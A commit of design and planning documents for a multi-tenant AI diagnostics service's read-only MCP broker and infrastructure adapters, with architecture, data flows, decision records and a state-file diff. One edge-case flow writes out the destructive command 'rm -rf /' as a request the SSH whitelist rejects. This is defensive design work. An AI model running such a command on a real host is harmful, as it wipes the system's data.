docs(P00): complete M2 pre-execution — MCP Layer & Day 1 Adapters
Phase 0 pipeline complete: SPECIFY → CLARIFY → RESEARCH → PLAN → GRILL → MVP/UX. - M2 spec saved and locked (steer-m2-spec.md, 9 open questions resolved) - PROJECT.md/REQUIREMENTS.md/ARCHITECTURE.md rewritten for M2 (13 REQs 015-027) - CLARIFY: D-001..D-005 carried, D-006 (GitHub scopes), D-007 (MCP transport) added - RESEARCH: 9 areas (R-001..R-009), confidence 0.72-0.90, 7 flagged risks mitigated - PLAN: 6 waves (F/G/H/I/J/final) on v0.1.x patch line, v0.1.6 = milestone release - GRILL: 12 binding fixes G-011..G-022 applied (2 P0 blockers auto-resolved) - MVP/UX: PASS (3 mandatory sections verified) - CI: Gitea Actions (.gitea/workflows/) — repo forge is Gitea ---ci--- phase: 0 milestone: v0.2 status: complete phase_role: pre_execution ---/ci---
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CIAgent
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## Overview
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CoreCI Chat v0.1 is a multi-tenant SaaS with a TypeScript control plane, a Go Relay Agent distributed to customer Linux hosts, and an OpenAI-compatible BYOM routing layer. The control plane runs in a single AWS region (us-east-1) and enforces tenant isolation via Postgres Row-Level Security. Every request flows through an API gateway that authenticates the session, resolves the tenant, enforces RBAC, and writes an immutable audit entry. The Relay Agent is an outbound-only WebSocket client that registers as a target and heartbeats to the control plane; in M2 it will receive MCP tool calls (SSH) and enforce a fixed command whitelist. All credentials live in AWS Secrets Manager (prod) or a local-encrypted fallback (dev) behind a `SecretProvider` interface — never env vars, config files, or DB columns.
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CoreCI Chat v0.1 is a multi-tenant SaaS with a TypeScript control plane, a Go Relay Agent distributed to customer Linux hosts, an OpenAI-compatible BYOM routing layer, and (M2) an MCP capability broker gateway with four Day-1 infrastructure adapters. The control plane runs in a single AWS region (us-east-1) and enforces tenant isolation via Postgres Row-Level Security. Every request flows through an API gateway that authenticates the session, resolves the tenant, enforces RBAC, and writes an immutable audit entry. The Relay Agent is an outbound-only WebSocket client that registers as a target and heartbeats to the control plane; in M2 it receives MCP tool calls (SSH) and enforces a fixed command whitelist (defense-in-depth layer 2; the broker is layer 1). All credentials live in AWS Secrets Manager (prod) or a local-encrypted fallback (dev) behind a `SecretProvider` interface — never env vars, config files, or DB columns.
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The v0.1 wedge is read-only diagnostic: no write actions, no hosted inference, no remediation. Async durable execution is provided by Trigger.dev (instrumented in M3 for chat workflows; the runtime bootstrap lands in M1 Wave A so M3 plugs in cleanly).
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### M2 addition — MCP capability broker
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M2 introduces the Model Context Protocol (MCP) capability broker as the structured layer between the LLM/UI and customer infrastructure. The broker enforces INV-7 (read-only by default) as the load-bearing safety boundary: it maintains a closed, enumerated tool registry (9 tools across 4 adapters), a per-adapter write-method blocklist, token-bucket rate limiting, multi-target scope disambiguation, and SSE streaming. The broker implements MCP spec version `2025-06-18`. Conformance is verified against modelcontextprotocol.io (artifact required at M2 gate). M3 consumes the broker's REST+SSE gateway as a stable contract (M2 spec §9).
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**MCP transport architecture (D-007):** three layers:
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1. **Broker ↔ Proxmox/GitHub/Gitea adapters:** in-process custom MCP transport. JSON-RPC 2.0 messages (`tools/list`, `tools/call`) passed in-process between the broker and the TS adapter modules. MCP `2025-06-18` allows custom transports provided they preserve the JSON-RPC message format and lifecycle requirements. No subprocess spawning for same-process TS modules.
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2. **Broker ↔ SSH adapter:** the MCP `tools/call` JSON-RPC layer sits between the broker and the TS SSH adapter module (in-process). The TS SSH adapter module then calls the M1 Relay Agent (Go binary) over WebSocket — this downstream WebSocket transport is inherited from M1 infrastructure and is downstream of the JSON-RPC layer. It does not affect MCP conformance.
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3. **Broker ↔ CI/LLM smoke:** stdio transport (JSON-RPC over stdin/stdout) for the CI `packages/llm-mock` smoke test. The mock LLM acts as an MCP host.
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**Broker ↔ UI:** REST facade + SSE (NOT MCP Streamable HTTP — a browser-friendly facade with MCP-compliant tool schemas and results inside). `POST /api/mcp/invoke` returns `{correlationId, streamUrl}`; `GET /api/mcp/stream/:correlationId` is the SSE stream.
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**OpenAI ↔ MCP translation contract:** `tool_calls[].function.{name, arguments}` (OpenAI) → `params.{name, arguments}` (MCP, parsed JSON object); `result.content[].text` + `isError` (MCP) → OpenAI tool message `{role:"tool", tool_call_id, content}`. Documented as a typed translator module in `packages/mcp/translator.ts`.
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### Init-time invariants (preserved by the architecture-drift guard)
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- Single git repository at `~/coreci-chat`, branch hierarchy `main → milestone/v0.1-bootstrap → phase/NN-*`.
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- `.ciagent/` reference files at repo root (single-project mode).
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- Every LLM inference call is routed to the tenant's configured BYOM endpoint via an OpenAI-compatible `/v1/chat/completions` contract; unconfigured/unreachable → reject with actionable error (REQ-009).
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- The Relay Agent makes only outbound connections (WebSocket to SaaS). No inbound firewall rules on customer hosts.
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### Architecture invariants (M2 addition)
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- **INV-7 at the broker (load-bearing):** 100% of write-action requests rejected at the MCP broker (HTTP 403) before adapter invocation. The broker is the load-bearing safety boundary, NOT the adapter. Per-adapter write-method blocklist: Proxmox POST/PUT/DELETE; SSH non-whitelist commands; GitHub scopes outside `metadata:read`+`actions:read`; Gitea POST/PUT/DELETE/PATCH on all endpoints. Verified by a test per adapter at the M2 gate.
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- **Closed tool registry (REQ-015):** 9-tool starter set locked. Per-tenant policy may disable individual tools but never add new ones. Additions require spec amendment (v1.2+).
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- **Defense-in-depth for SSH (REQ-021, REQ-026):** broker validates `command` against the 6-command whitelist subset BEFORE dispatch to Relay Agent (layer 1); M1 Relay Agent `CheckCommand` validates at execution (layer 2). Both layers must pass; either rejecting → HTTP 403 + `adapter.write_rejected` audit event.
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- **MCP capability invocations run under `withTenant` + RLS (INV-2):** every capability invocation runs in a tenant-scoped transaction. Adapters are per-tenant; no cross-tenant adapter sharing.
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- **Adapter credentials via SecretProvider (INV-3):** all adapter credentials (Proxmox token, GitHub/Gitea PAT, SSH registration token) resolved via `SecretProvider.get`. Credentials never logged; secret identifiers hashed in audit events.
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- **Audit completeness for adapter events (INV-4):** new event types appended to M1's `audit_log`: `adapter.configured`, `adapter.test_connection.{succeeded,failed}`, `adapter.capability_invoked`, `adapter.write_rejected`. All hash-chained, append-only, UPDATE/DELETE REVOKE'd.
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- **Rate limiting (REQ-019):** token-bucket per user (60 req/min) and per tenant (300 req/min). In-memory, process-local in M2. Capacity = rate; refill 1/sec (user) / 5/sec (tenant).
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- **SSE streaming (REQ-017):** per-call streams with ULID correlation IDs. Client disconnect cancels in-flight adapter call; no audit event for client-side cancellation.
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- **M1 non-regression:** all M1 REQs (001-014, 038-040) remain passing. No schema, invariant, or behavioral changes to M1 systems except additive (new tables, new audit event types).
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## Components
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### apps/control-plane (TypeScript, Next.js App Router API routes + standalone services)
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@@ -62,6 +86,56 @@ The v0.1 wedge is read-only diagnostic: no write actions, no hosted inference, n
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- **Boundaries**: Never reads tenant secrets directly.
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- **Depends on**: nothing.
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## Components (M2 addition)
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### packages/mcp (TypeScript — NEW in M2)
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- **Description**: The MCP capability broker gateway. Implements MCP spec version `2025-06-18`. Contains: (1) the closed tool registry (9 tools, REQ-015); (2) the adapter router (REQ-016) resolving `(tenant_id, adapter_type, target_id)` tuples to adapter instances; (3) the write-method blocklist enforcer (REQ-018, INV-7 — the load-bearing safety boundary); (4) the token-bucket rate limiter (REQ-019, in-memory, capacity = rate); (5) the SSE stream manager (REQ-017, per-call streams, ULID correlation IDs); (6) the OpenAI ↔ MCP translator module (`translator.ts`); (7) the in-process custom MCP transport for broker ↔ adapter JSON-RPC.
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- **Boundaries**: The broker NEVER invokes an adapter for a write-capable method. The broker validates SSH `command` against the whitelist subset BEFORE dispatch (defense-in-depth layer 1). All capability invocations run under `withTenant` + RLS.
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- **Depends on**: `packages/db` (withTenant, adapter config rows), `packages/audit` (adapter event types), `packages/secrets` (adapter credentials), `packages/auth` (RBAC), `packages/config`.
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### packages/mcp/adapters/proxmox (TypeScript — NEW in M2)
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- **Description**: Read-only Proxmox VE adapter. PVE API client over HTTPS (cookie-based auth). Capabilities: `proxmox.list_vms` (inventory, `GET /api2/json/nodes/{node}/qemu`), `proxmox.get_vm_status` (live, `GET /api2/json/nodes/{node}/qemu/{vmid}/status/current`), `proxmox.get_node_metrics` (live, `GET /api2/json/nodes/{node}/status`). Validates `PVEAuditor` role at config submit time (REQ-025). Write-method blocklist: POST/PUT/DELETE.
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- **Boundaries**: Calls only GET endpoints. Token stored via `SecretProvider.set` (INV-3).
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- **Depends on**: `packages/mcp` (broker), `packages/secrets`, `packages/audit`.
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### packages/mcp/adapters/ssh (TypeScript — NEW in M2)
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- **Description**: Read-only SSH/Linux adapter via M1 Relay Agent. The MCP `tools/call` JSON-RPC layer is in-process (broker → TS SSH module); the TS module then calls the M1 Relay Agent (Go binary) over WebSocket (M1 infrastructure, downstream of JSON-RPC). Capability: `ssh.run_whitelisted_command` (live). Broker validates `command` against the 6-command subset (`uptime`, `df -h`, `free -m`, `systemctl status <svc>`, `journalctl -n <N>`, `systemctl list-units --type=service`) BEFORE dispatch (layer 1); Relay Agent `CheckCommand` validates at execution (layer 2, M1 G-004 contract).
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- **Boundaries**: Never invokes non-whitelisted commands. Two-layer enforcement. Relay registration token stored via `SecretProvider.set` (INV-3).
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- **Depends on**: `packages/mcp` (broker), `packages/secrets`, `packages/audit`, M1 Relay Agent (Go binary, WebSocket).
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### packages/mcp/adapters/github (TypeScript — NEW in M2)
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- **Description**: Read-only GitHub adapter. REST API client. Capabilities: `github.list_repos` (inventory, `GET /user/repos?per_page=100`), `github.get_recent_ci_runs` (live, `GET /repos/{owner}/{repo}/actions/runs`), `github.get_workflow_run` (live, `GET /repos/{owner}/{repo}/actions/runs/{run_id}`). Validates fine-grained PAT scopes at submit time: `metadata:read` + `actions:read` minimum (D-006). Observes `X-RateLimit-Remaining` header; backs off on 429.
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- **Boundaries**: Calls only REST GET endpoints. Fine-grained PAT only (no classic PAT — coarse scopes grant write). Token stored via `SecretProvider.set` (INV-3).
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- **Depends on**: `packages/mcp` (broker), `packages/secrets`, `packages/audit`.
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### packages/mcp/adapters/gitea (TypeScript — NEW in M2)
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- **Description**: Read-only Gitea adapter. REST API client. Capabilities: `gitea.list_repos` (inventory, `GET /user/repos?limit=50`), `gitea.get_recent_ci_runs` (live, `GET /repos/{owner}/{repo}/actions/runs`). Version-aware scope validation: Gitea ≥1.22 requires `read:repository`; Gitea <1.22 accepts any token with broker-side write-method blocklist (POST/PUT/DELETE/PATCH) as security backstop. Version detected via `GET /api/v1/version` and recorded in adapter config row.
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- **Boundaries**: Calls only REST GET endpoints. Write-method blocklist enforced at broker for all versions. Token stored via `SecretProvider.set` (INV-3).
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- **Depends on**: `packages/mcp` (broker), `packages/secrets`, `packages/audit`.
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### packages/llm-mock (TypeScript — NEW in M2, devDependency, CI-only)
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- **Description**: CI-only mock LLM provider for the M2 gate LLM smoke test. Implements OpenAI-compatible `/v1/chat/completions` that accepts a `tools` parameter (OpenAI tool definitions from the broker's `GET /api/mcp/tools`), returns `tool_calls` referencing one of the provided tools, accepts follow-up `tool` role messages (broker's translated adapter result), and synthesizes a grounded text response.
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- **Boundaries**: `devDependency` only (not a production dependency). Import-guarded against prod bundle via build-time check/eslint rule. Consumed only by CI.
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- **Depends on**: nothing (mock provider; the broker calls it as a BYOM endpoint).
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### apps/control-plane (M2 additions)
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- **M2 routes**: `GET /api/mcp/tools` (list tools, MCP `tools/list` facade), `POST /api/mcp/invoke` (invoke capability, returns `{correlationId, streamUrl}`), `GET /api/mcp/stream/:correlationId` (SSE stream), `POST /api/mcp/adapter` (configure adapter), `PATCH/DELETE /api/mcp/adapter/:id` (update/remove adapter). Settings → Adapters UI + Test-Call UI in the dashboard.
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- **M2 schema**: `mcp_adapters` table (tenant_id, adapter_type, target_id, config JSON, secret_ref, validated, created_at) — tenant-scoped with RLS. No cache tables (in-memory only).
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- **M2 audit events**: `adapter.configured`, `adapter.test_connection.{succeeded,failed}`, `adapter.capability_invoked`, `adapter.write_rejected` — all appended to M1's `audit_log` with hash-chain.
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### M3 consumer contract (M2 spec §9 — frozen at M2 acceptance gate)
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| Endpoint | Method | Purpose | M3 consumer |
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|:---------|:-------|:--------|:------------|
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| `/api/mcp/tools` | GET | List available tools (MCP `tools/list` facade) | M3 chat UI populates the LLM's `tools` parameter |
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| `/api/mcp/invoke` | POST | Invoke a capability; returns `{correlationId, streamUrl}` | M3 chat orchestration calls when the LLM emits `tool_calls` |
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| `/api/mcp/stream/:correlationId` | GET (SSE) | Stream tool execution output | M3 chat UI streams tool traces to the trace panel |
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| `/api/mcp/adapter` | POST | Configure an adapter | M3 does not call (M2 Settings UI only) |
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| `/api/mcp/adapter/:id` | PATCH/DELETE | Update/remove adapter config | M3 does not call (M2 Settings UI only) |
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**Stability rules:** additive changes (new tools, adapters, SSE event types) permitted; breaking changes require M3 spec amendment + deprecation period.
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**Open boundary (M3 design, not M2 build):** M3 needs a separate SSE endpoint for LLM token streaming (`/api/chat/stream` or similar) — distinct from MCP tool output streaming. M2's `/api/mcp/stream/:correlationId` streams tool execution output, not LLM completion tokens.
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## Data Flow
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### M1 happy path — Relay Agent registration (J2 steps 3–4)
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@@ -99,10 +173,80 @@ Operator ──prompt──▶ API gateway → auth → tenant → RBAC (Operato
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conversation persisted (tenant-scoped) → audit append
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```
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### M2 happy path — adapter configure + test connection (J1)
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```
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Sam ──POST /api/mcp/adapter (type=proxmox, host, token)──▶ API gateway
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auth → tenant resolve (RLS) → RBAC (Admin only) → audit append (adapter.configured)
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broker validates PVEAuditor role on target (REQ-025)
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if role missing → HTTP 422, no persist, audit append (validation fail)
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secrets.set(tenantId, "proxmox:<targetId>", token) → returns ref
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INSERT mcp_adapters (tenant_id, type, target_id, config, secret_ref, validated) — under RLS
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UI confirms save
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Sam ──clicks "Test connection"──▶ broker invokes test_connection (REQ-016)
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broker: write-method blocklist check (GET only for Proxmox) → rate limit check → route to adapter
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adapter: GET /api2/json/nodes (PVE API, cookie auth) → 200 OK
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broker: audit append (adapter.test_connection.succeeded) → UI green
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```
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### M2 happy path — capability invocation via Test-Call UI (J2)
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```
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Sam/Devon ──POST /api/mcp/invoke (tool=github.list_repos, target_id, args={})──▶ API gateway
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auth → tenant resolve (RLS) → RBAC → audit append (adapter.capability_invoked, correlation_id=ULID)
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broker: write-method blocklist check (GET only) → rate limit check (60/min user, 300/min tenant)
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if rate exceeded → HTTP 429 + Retry-After, no adapter call
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broker: resolve adapter (tenant_id, github, target_id) → route (REQ-016)
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broker → returns {correlationId, streamUrl} to UI
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UI ──GET /api/mcp/stream/:correlationId (SSE)──▶ broker
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broker: invoke adapter (in-process custom MCP transport, tools/call JSON-RPC)
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adapter: secrets.get(tenantId, "github:<targetId>") → PAT
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adapter: GET /user/repos?per_page=100 (GitHub REST, fine-grained PAT, metadata:read+actions:read)
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if 429 → back off (X-RateLimit-Remaining observed)
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if 403 → scope violation, HTTP 403 + audit append (adapter.write_rejected)
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adapter: normalize response → return to broker
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broker: emit SSE events (id=<ulid>-<seq>, event=tool_result, data={content:[...],isError:false})
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broker: terminal event (event=done) → close stream
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broker: audit append (adapter.capability_invoked, result=success)
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UI: render result (inventory call → "cached Xs ago" if served from 60s TTL cache)
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```
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### M2 edge — SSH whitelist violation (Edge 7, defense-in-depth)
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```
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Sam ──POST /api/mcp/invoke (tool=ssh.run_whitelisted_command, args={command:"rm -rf /"})──▶ broker
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broker: validate command against 6-command subset (layer 1)
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"rm" not in {uptime, df, free, systemctl, journalctl} → REJECT at broker
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broker: HTTP 403 + audit append (adapter.write_rejected) → never invokes adapter
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(if broker somehow passed it: Relay Agent CheckCommand (layer 2) would also reject — defense-in-depth)
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```
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### M2 edge — SSE client disconnect (Edge 8)
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```
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Client ──GET /api/mcp/stream/:correlationId──▶ broker (SSE stream open)
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Client disconnects mid-stream
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broker: detect EventSource close → cancel in-flight adapter call
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broker: clean up correlation context → no orphan adapter calls
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broker: NO audit event for client-side cancellation (per spec Edge 8)
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```
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## Build Order (M1 waves — each a vertical slice, testable + shippable)
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1. **Wave A — Foundations.** Monorepo (pnpm): `apps/control-plane`, `apps/relay-agent` (Go module), `apps/dashboard`, `packages/{db,auth,audit,secrets,config}`. Postgres schema + RLS + `withTenant`. `audit_log` hash-chain + REVOKE UPDATE/DELETE. `SecretProvider` interface + AWS SM impl + local-encrypted impl. Trigger.dev bootstrap (runtime wired, no tasks yet). Covers REQ-038, REQ-039, REQ-040.
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2. **Wave B — Identity & RBAC.** WorkOS SSO; session; tenant resolution middleware (`SET app.tenant_id`); RBAC at API gateway (Admin/Operator/Viewer → route permission map). First endpoint protected on day one. Covers REQ-001, REQ-002, REQ-003, REQ-004, REQ-005.
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3. **Wave C — BYOM.** Tenant-scoped BYOM endpoint registry (URL in DB, key in secret manager); validate-on-save test inference call (OpenAI-compatible); routing shim (no inference in M1 — proxy contract + REQ-009 reject path). Covers REQ-006, REQ-007, REQ-008, REQ-009.
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4. **Wave D — Relay Agent.** Modular install script (detect-OS/install-binary/write-systemd-unit/register-target; clean abort on unsupported OS). Go binary: outbound wss + tenant reg token, registration (tenant/target/hostname/OS/IP/version), heartbeat + exp-backoff (max 5 → alert), auto-reconnect, systemd unit w/ auto-restart. SSH whitelist file format + enforcement hook (no adapter yet — M2 plugs in). Covers REQ-010, REQ-011, REQ-012, REQ-013, (REQ-026 whitelist hook).
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5. **Wave E — Dashboard surfacing.** WebSocket fan-out of agent status to dashboard; green/yellow/red; target hostname; last 100 log lines; per-tenant view under RLS. M1 gate demo: SSO → BYOM green → install → register → green dashboard. Covers REQ-014.
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5. **Wave E — Dashboard surfacing.** WebSocket fan-out of agent status to dashboard; green/yellow/red; target hostname; last 100 log lines; per-tenant view under RLS. M1 gate demo: SSO → BYOM green → install → register → green dashboard. Covers REQ-014.
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## Build Order (M2 waves — each a vertical slice, testable + shippable)
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M2 ships on the v0.1.x patch line (M1's previous minor). Phase 0 seeds `v0.1.0`; each execution phase ships a progressive patch; the final phase's patch IS the M2 milestone release.
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**Wave 0 — Prerequisites (not a spec REQ; must complete before any M2 adapter work):** CI Postgres 16 container with RLS verification (replaces PGlite-only verification); real GitHub PAT available in CI (ephemeral or test-org-scoped). Retroactively validates M1's RLS claims.
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0. **Phase 0 — pre-execution.** SPECIFY → CLARIFY → RESEARCH → PLAN → GRILL → MVP/UX. Ships `v0.1.0`.
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1. **Wave F — MCP Gateway core.** `packages/mcp` broker: closed tool registry (9 tools), adapter router, write-method blocklist enforcer (INV-7 at broker), token-bucket rate limiter, SSE stream manager, OpenAI ↔ MCP translator, in-process custom transport. `mcp_adapters` table with RLS. Covers REQ-015, REQ-016, REQ-017, REQ-018, REQ-019, REQ-024.
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2. **Wave G — Proxmox adapter.** `packages/mcp/adapters/proxmox`: PVE API client, `PVEAuditor` role validation (REQ-025), 3 capabilities (`list_vms`, `get_vm_status`, `get_node_metrics`). Covers REQ-020, REQ-025.
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3. **Wave H — SSH/Linux adapter (Relay Agent).** `packages/mcp/adapters/ssh`: broker SSH whitelist validation (layer 1), downstream WebSocket to M1 Relay Agent, `ssh.run_whitelisted_command` capability. Reactivates go-engineer persona for Relay Agent integration. Covers REQ-021, REQ-026 (full — M1 shipped the hook; M2 plugs the adapter in).
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4. **Wave I — Git adapters.** `packages/mcp/adapters/github` + `packages/mcp/adapters/gitea`: REST API clients, fine-grained PAT scope validation (D-006 for GitHub, version-aware for Gitea), 5 capabilities. Covers REQ-022, REQ-023, REQ-027.
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5. **Wave J — SSE integration + LLM smoke + adapter UI.** `packages/llm-mock` (CI-only devDependency), LLM smoke test (OpenAI→MCP→adapter→result→synthesis against real GitHub), Settings → Adapters UI + Test-Call UI. Covers REQ-017 integration, M2 gate item 8 (LLM smoke).
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6. **Final — Review + Audit + Ship.** Multi-persona review, project health audit, milestone ship v0.1.(N+1) = milestone release, merge to main. Covers all M2 (sign-off).
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|
||||
**Wave ordering & parallelism:** F must complete first (all adapters depend on the broker). G, H, I can run in parallel after F (different adapter territories; no cross-dependencies). J depends on F + at least one adapter (for the LLM smoke against GitHub). Final depends on all.
|
||||
@@ -1,9 +1,15 @@
|
||||
{
|
||||
"phase": 6,
|
||||
"stage": "complete",
|
||||
"milestone": "v0.1",
|
||||
"phase_role": "final",
|
||||
"attempts": 1,
|
||||
"updated_at": "2026-08-25T02:35:00Z",
|
||||
"milestone_complete": true
|
||||
}
|
||||
"phase": 0,
|
||||
"stage": "mvp_ux_check_complete",
|
||||
"milestone": "v0.2",
|
||||
"milestone_name": "mcp-layer-day1-adapters",
|
||||
"phase_role": "pre_execution",
|
||||
"attempts": 0,
|
||||
"updated_at": "2026-08-25T03:55:00Z",
|
||||
"milestone_complete": false,
|
||||
"spec": "steer-m2-spec.md",
|
||||
"predecessor_milestone": "v0.1",
|
||||
"tag_line": "v0.1.x",
|
||||
"decisions": ["D-001", "D-002", "D-003", "D-004", "D-005", "D-006", "D-007"],
|
||||
"grill_fixes_applied": true,
|
||||
"mvp_ux_check": "pass"
|
||||
+82
-67
@@ -1,119 +1,132 @@
|
||||
# Clarify — Architectural Decisions
|
||||
# Clarify — Architectural Decisions (M2)
|
||||
|
||||
Spec: CoreCI Chat v0.1 Engineering Specification v1.1 (locked 2026-08-24, Sarah Chen).
|
||||
Autonomy: `full` (decision threshold 0.6). All 5 decisions below were surfaced during kickoff and approved by the Product Owner before EXECUTE. Spec §7 resolved all 8 product-level open questions; the 5 decisions here are the remaining **architectural** choices the spec left to Engineering.
|
||||
Spec: CoreCI Chat v0.1 M2 Engineering Specification v1.0 (`.ciagent/steer-m2-spec.md`, locked 2026-08-25, Sarah Chen).
|
||||
Autonomy: `full` (decision threshold 0.6). M2 spec §7 resolved all 9 product-level open questions (Q1-Q9); D-001..D-005 are carried from M1 (still in force); D-006 and D-007 are new M2 architectural decisions recorded here.
|
||||
|
||||
Each decision is recorded with: question, options considered, decision, rationale, confidence, status.
|
||||
|
||||
---
|
||||
|
||||
## D-001 — BYOM endpoint protocol contract
|
||||
## D-001 — BYOM endpoint protocol contract (carried from M1)
|
||||
|
||||
**Question:** Which wire protocol should the BYOM routing shim speak for M1, given customers may bring vLLM, TGI, Ollama, OpenAI, Azure OpenAI, Together, or self-hosted endpoints?
|
||||
|
||||
**Options considered:**
|
||||
- OpenAI-compatible `/v1/chat/completions` (universal interoperability)
|
||||
- Anthropic Messages API native
|
||||
- Pluggable provider interface with multiple impls from day one
|
||||
**Question:** Which wire protocol should the BYOM routing shim speak, given customers may bring vLLM, TGI, Ollama, OpenAI, Azure OpenAI, Together, or self-hosted endpoints?
|
||||
|
||||
**Decision:** **OpenAI-compatible `/v1/chat/completions` for M1**, with a pluggable `LlmProvider` interface so an Anthropic-native impl can be added in M3 without re-architecting the routing shim.
|
||||
|
||||
**Rationale:** The overwhelming majority of customer-hosted inference endpoints (vLLM, TGI, Ollama, OpenAI, Azure OpenAI, Together, LiteLLM) speak OpenAI-compatible. Native Anthropic support is a M3 concern; the interface keeps that door open without paying for it now. REQ-006/007/008/009 all reference a "test inference call" and "outbound traffic log" — OpenAI-compatible gives the cheapest validation path (one POST, JSON body, `choices[0].delta.content`).
|
||||
**Rationale:** The overwhelming majority of customer-hosted inference endpoints speak OpenAI-compatible. Native Anthropic support is an M3 concern; the interface keeps that door open without paying for it now.
|
||||
|
||||
**Confidence:** 0.85
|
||||
**Status:** approved (PO kickoff)
|
||||
**Affects:** REQ-006, REQ-007, REQ-008, REQ-009; ARCHITECTURE.md § apps/control-plane BYOM validator.
|
||||
**Status:** approved (PO kickoff, M1). Carried forward to M2/M3.
|
||||
**Affects:** REQ-006, REQ-007, REQ-008, REQ-009 (M1); M2 LLM smoke uses the same contract (`packages/llm-mock` speaks OpenAI-compatible).
|
||||
|
||||
---
|
||||
|
||||
## D-002 — Relay Agent implementation language
|
||||
## D-002 — Relay Agent implementation language (carried from M1)
|
||||
|
||||
**Question:** Should the Relay Agent be written in Go, Rust, or TypeScript (Node) given it is distributed via `curl|bash` and runs as a systemd service on Ubuntu 24.04 / Debian 12+?
|
||||
|
||||
**Options considered:**
|
||||
- Go — single static binary, zero runtime deps, tiny image, cross-compile trivial
|
||||
- Rust — single static binary, stronger safety, slower compile/iterate
|
||||
- Node/TypeScript — same language as control plane, but requires Node runtime on every customer host
|
||||
**Question:** Should the Relay Agent be written in Go, Rust, or TypeScript (Node)?
|
||||
|
||||
**Decision:** **Go.**
|
||||
|
||||
**Rationale:** The install script ships a single static binary via `curl|bash`. Go gives that with zero customer-side runtime (no Node, no Python). Cross-compile to linux/amd64 + linux/arm64 is one command. systemd unit stays trivial (`ExecStart=/usr/local/bin/coreci-relay-agent`). The control plane stays TypeScript (Trigger.dev DX rationale from spec §7 Q1 is about the orchestration layer, not the agent). The SSH whitelist hook (M1) and the SSH adapter (M2) both run inside the agent; Go's `os/exec` + seccomp/pledge-style hardening is well-trodden.
|
||||
**Rationale:** Single static binary, zero runtime deps, trivial cross-compile to linux/amd64+arm64, trivial systemd unit. The SSH whitelist hook (M1) and the SSH adapter (M2) both run inside the agent; Go's `os/exec` + seccomp/pledge-style hardening is well-trodden.
|
||||
|
||||
**Confidence:** 0.9
|
||||
**Status:** approved (PO kickoff)
|
||||
**Affects:** REQ-010, REQ-011, REQ-012, REQ-013, REQ-026 (whitelist hook); ARCHITECTURE.md § apps/relay-agent.
|
||||
**Confidence:** 0.90
|
||||
**Status:** approved (PO kickoff, M1). Carried forward to M2.
|
||||
**Affects:** REQ-010, REQ-011, REQ-012, REQ-013, REQ-026; ARCHITECTURE.md § apps/relay-agent. M2 reactivates a go-engineer persona for the SSH adapter integration.
|
||||
|
||||
---
|
||||
|
||||
## D-003 — Secret manager backend
|
||||
## D-003 — Secret manager backend (carried from M1)
|
||||
|
||||
**Question:** Which backend for `SecretProvider` given spec §5 names "AWS Secrets Manager or equivalent" and us-east-1 is the default region, while CI/local dev must run without AWS access?
|
||||
|
||||
**Options considered:**
|
||||
- AWS Secrets Manager only — simplest, but blocks CI/local
|
||||
- AWS Secrets Manager (prod) + local file (dev) — fast, but weak dev hygiene
|
||||
- AWS Secrets Manager (prod) + local-encrypted (dev) behind a `SecretProvider` interface — clean
|
||||
|
||||
**Decision:** **AWS Secrets Manager (prod, KMS-backed, us-east-1) + `LocalEncryptedProvider` (dev/test, AES-256-GCM) behind a `SecretProvider` interface.**
|
||||
|
||||
**Rationale:** Spec §5 mandates AWS Secrets Manager (or equivalent) for prod. The interface lets CI and local dev run without AWS credentials — `LocalEncryptedProvider` reads its master key from the ONE allowed env var (`SECRET_MASTER_KEY_DEV`), encrypts every tenant secret at rest with AES-256-GCM, and stores ciphertext in a gitignored local file. Prod swaps the impl via config. No tenant secret is ever in plaintext on disk, in a DB column, in a config file, or in logs — satisfying REQ-040 and the "no env vars for tenant secrets" rule. The DB stores only a reference (e.g. `aws-sm:coreci/<tenantId>/byom`).
|
||||
**Rationale:** Spec §5 mandates AWS Secrets Manager (or equivalent) for prod. The interface lets CI and local dev run without AWS credentials. No tenant secret is ever in plaintext on disk, in a DB column, in a config file, or in logs — satisfying REQ-040 and the "no env vars for tenant secrets" rule.
|
||||
|
||||
**Confidence:** 0.85
|
||||
**Status:** approved (PO kickoff)
|
||||
**Affects:** REQ-040; ARCHITECTURE.md § packages/secrets.
|
||||
**Status:** approved (PO kickoff, M1). Carried forward to M2.
|
||||
**Affects:** REQ-040 (M1); M2 adapter credentials (Proxmox token, GitHub/Gitea PAT, SSH registration token) all resolve via `SecretProvider.get` (INV-3).
|
||||
|
||||
---
|
||||
|
||||
## D-004 — Audit log storage backend for M1
|
||||
## D-004 — Audit log storage backend (carried from M1)
|
||||
|
||||
**Question:** What is the M1 audit log store, given REQ-038 requires a "write-once store" and the immutability pattern set in M1 propagates to every M2/M3 event?
|
||||
|
||||
**Options considered:**
|
||||
- S3 Object Lock WORM from day one — strongest immutability, but adds infra + an async write path that complicates "write failure halts the operation" (Edge 7)
|
||||
- Postgres append-only table with hash-chain + REVOKE UPDATE/DELETE — cheap, synchronous, halt-on-fail is trivial
|
||||
- Dedicated append-only service (e.g. QuestDB, ClickHouse) — overkill for M1 volume
|
||||
|
||||
**Decision:** **Postgres append-only table `audit_log` with a hash-chain (`curr_hash = sha256(prev_hash || canonical_payload)`) and `REVOKE UPDATE, DELETE` from the app role. S3 Object Lock WORM is deferred to M3 hardening.**
|
||||
|
||||
**Rationale:** M1 volume is low (onboarding + dashboard events, no chat yet). A Postgres append-only table with a hash-chain gives cryptographic tamper-evidence, synchronous writes so "write failure halts" (Edge 7) is a single transaction, and `REVOKE UPDATE/DELETE` makes the app role physically unable to mutate rows. The hash-chain pattern is what propagates to M2/M3 — when we add S3 Object Lock in M3, the Postgres table stays as the hot path and S3 is the WORM cold store. Refactoring later is additive, not a rewrite. This matches the spec's "critical-path: append-only from day one" directive.
|
||||
**Rationale:** M1 volume is low. A Postgres append-only table with a hash-chain gives cryptographic tamper-evidence, synchronous writes so "write failure halts" (Edge 7) is a single transaction, and `REVOKE UPDATE/DELETE` makes the app role physically unable to mutate rows. The hash-chain pattern propagates to M2/M3. M2 reuses M1's `audit_log` for new event types (`adapter.configured`, `adapter.test_connection.{succeeded,failed}`, `adapter.capability_invoked`, `adapter.write_rejected`).
|
||||
|
||||
**Confidence:** 0.8
|
||||
**Status:** approved (PO kickoff)
|
||||
**Affects:** REQ-038; ARCHITECTURE.md § packages/audit, packages/db.
|
||||
**Confidence:** 0.80
|
||||
**Status:** approved (PO kickoff, M1). Carried forward to M2.
|
||||
**Affects:** REQ-038 (M1); M2 adds new event types to the same table (additive, no schema change to existing rows).
|
||||
|
||||
---
|
||||
|
||||
## D-005 — Web application framework
|
||||
## D-005 — Web application framework (carried from M1)
|
||||
|
||||
**Question:** Which framework for the browser surface, given M1 ships the admin dashboard and M3 ships the chat UI in the same product?
|
||||
|
||||
